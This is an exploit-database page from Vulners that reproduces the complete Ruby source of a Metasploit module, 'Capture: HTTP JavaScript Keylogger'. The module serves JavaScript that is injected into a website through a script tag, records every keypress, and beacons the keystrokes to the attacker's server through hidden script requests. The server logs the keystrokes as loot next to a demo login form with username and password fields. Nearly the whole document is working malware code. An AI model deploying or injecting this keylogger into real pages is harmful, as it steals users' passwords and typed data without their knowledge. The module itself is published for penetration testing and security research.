Lucene search
K

Capture: HTTP JavaScript Keylogger

🗓️ 21 Feb 2012 10:25:15Reported by Marcus J. Carey <[email protected]>, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

HTTP JavaScript Keylogger module with web server for keystroke logging, demo option, and script source tag for easy integratio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'Capture: HTTP JavaScript Keylogger',
      'Description'	=> %q{
          This modules runs a web server that demonstrates keystroke
        logging through JavaScript. The DEMO option can be set to enable
        a page that demonstrates this technique. Future improvements will
        allow for a configurable template to be used with this module.
        To use this module with an existing web page, simply add a
        script source tag pointing to the URL of this service ending
        in the .js extension. For example, if URIPATH is set to "test",
        the following URL will load this script into the calling site:
        http://server:port/test/anything.js
      },
      'License'	=> MSF_LICENSE,
      'Author'	=> ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm']
  ))

  register_options(
    [
      OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
    ])
  end


  # This is the module's main runtime method
  def run
    @seed = Rex::Text.rand_text_alpha(12)
    @client_cache = {}

    # Starts Web Server
    exploit
  end

  # This handles the HTTP responses for the Web server
  def on_request_uri(cli, request)

    cid = nil

    if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
      cid = $1
    end

    if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
      cid = $1
    end

    data = request.qstring['data']

    unless cid
      cid = generate_client_id(cli,request)
      print_status("Assigning client identifier '#{cid}'")

      resp = create_response(302, 'Moved')
      resp['Content-Type'] = 'text/html'
      resp['Location']     = request.uri + '?id=' + cid
      resp['Set-Cookie']   = "id=#{cid}"
      cli.send_response(resp)
      return
    end

    base_url = generate_base_url(cli, request)

    #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")

    case request.uri
    when /\.js(\?|$)/
      content_type = "text/plain"
      send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})

    when /\/demo\/?(\?|$)/
      if datastore['DEMO']
        content_type = "text/html"
        send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
      else
        send_not_found(cli)
      end

    else
      if data
        nice = process_data(cli, request, cid, data)
        script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
        send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
      else
        if datastore['DEMO']
          send_redirect(cli, "/demo/?cid=#{cid}")
        else
          send_not_found(cli)
        end
      end
    end
  end

  # Figure out what our base URL is based on the user submitted
  # Host header or the address of the client.
  def generate_base_url(cli, req)
    port = nil
    host = Rex::Socket.source_address(cli.peerhost)

    if req['Host']
      host = req['Host']
      bits = host.split(':')

      # Extract the hostname:port sequence from the Host header
      if bits.length > 1 and bits.last.to_i > 0
        port = bits.pop.to_i
        host = bits.join(':')
      end
    else
      port = datastore['SRVPORT'].to_i
    end

    prot = (!! datastore['SSL']) ? 'https://' : 'http://'
    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end

    base = prot + host
    if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
      base << ":#{port}"
    end

    base << get_resource
  end

  def process_data(cli, request, cid, data)

    lines = [""]
    real  = ""

    Rex::Text.uri_decode(data).split(",").each do |char|
      byte = char.to_s.hex.chr
      next if byte == "\x00"
      real << byte
      case char.to_i
      # Do Backspace
      when 8
        lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
      when 13
        lines << ""
      else
        lines[-1] << byte
      end
    end

    nice = lines.join("<CR>").gsub("\t", "<TAB>")
    real = real.gsub("\x08", "<DEL>")

    if not @client_cache[cid]

      fp = fingerprint_user_agent(request['User-Agent'] || "")
      header  = "Browser Keystroke Log\n"
      header << "=====================\n"
      header << "Created: #{Time.now.to_s}\n"
      header << "Address: #{cli.peerhost}\n"
      header << "     ID: #{cid}\n"
      header << " FPrint: #{fp.inspect}\n"
      header << "    URL: #{request.uri}\n"
      header << "\n"
      header << "====================\n\n"

      @client_cache[cid] = {
        :created => Time.now.to_i,
        :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
        :path_raw   => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
      }
      print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
      print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
    end

    ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
    ::File.open( @client_cache[cid][:path_raw], "ab")   { |fd| fd.write(real) }

    if nice.length > 0
      print_good("[#{cid}] Keys: #{nice}")
    end

    nice
  end

  def generate_client_id(cli, req)
    "%.8x" % Kernel.rand(0x100000000)
  end


  def generate_demo(base_url, cid)
    # This is the Demo Form Page <HTML>
    html = <<EOS
<html>
<head>
<title>Demo Form</title>
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Keylogger Demo Form</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>

<br/>
<textarea cols="80" rows="5" id="results">
</textarea>

</div>
</body>
</html>
EOS
    return html
  end

  # This is the JavaScript Key Logger Code
  def generate_keylogger_js(base_url, cid)

    targ = Rex::Text.rand_text_alpha(12)

    code = <<EOS

var c#{@seed} = 0;
window.onload = function load#{@seed}(){
  l#{@seed} = ",";

  if (window.addEventListener) {
    document.addEventListener('keypress', p#{@seed}, true);
    document.addEventListener('keydown', d#{@seed}, true);
  } else if (window.attachEvent) {
    document.attachEvent('onkeypress', p#{@seed});
    document.attachEvent('onkeydown', d#{@seed});
  } else {
    document.onkeypress = p#{@seed};
    document.onkeydown = d#{@seed};
  }

}
function p#{@seed}(e){
  k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  k#{@seed} = k#{@seed}.toString(16);
  if (k#{@seed} != "d"){
    #{@seed}(k#{@seed});
  }
}
function d#{@seed}(e){
  k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
    #{@seed}(k#{@seed});
  }
}

function #{@seed}(k#{@seed}){
  l#{@seed} = l#{@seed} + k#{@seed} + ",";

  var t#{@seed} = "#{targ}" + c#{@seed};
  c#{@seed}++;

  var f#{@seed};

  if (document.all)
    f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
  else {
    f#{@seed} = document.createElement("script");
    f#{@seed}.setAttribute("id", t#{@seed});
    f#{@seed}.setAttribute("name", t#{@seed});
  }

  f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
  f#{@seed}.style.visibility = "hidden";

  document.body.appendChild(f#{@seed});

  if (k#{@seed} == 13 || l#{@seed}.length > 3000)
    l#{@seed} = ",";

  setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
}
EOS
    return code
  end

  def generate_demo_js_reply(base_url, cid, data)
    code = <<EOS
      try {
        document.getElementById("results").value = "Keystrokes: #{data}";
      } catch(e) { }
EOS
    return code
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation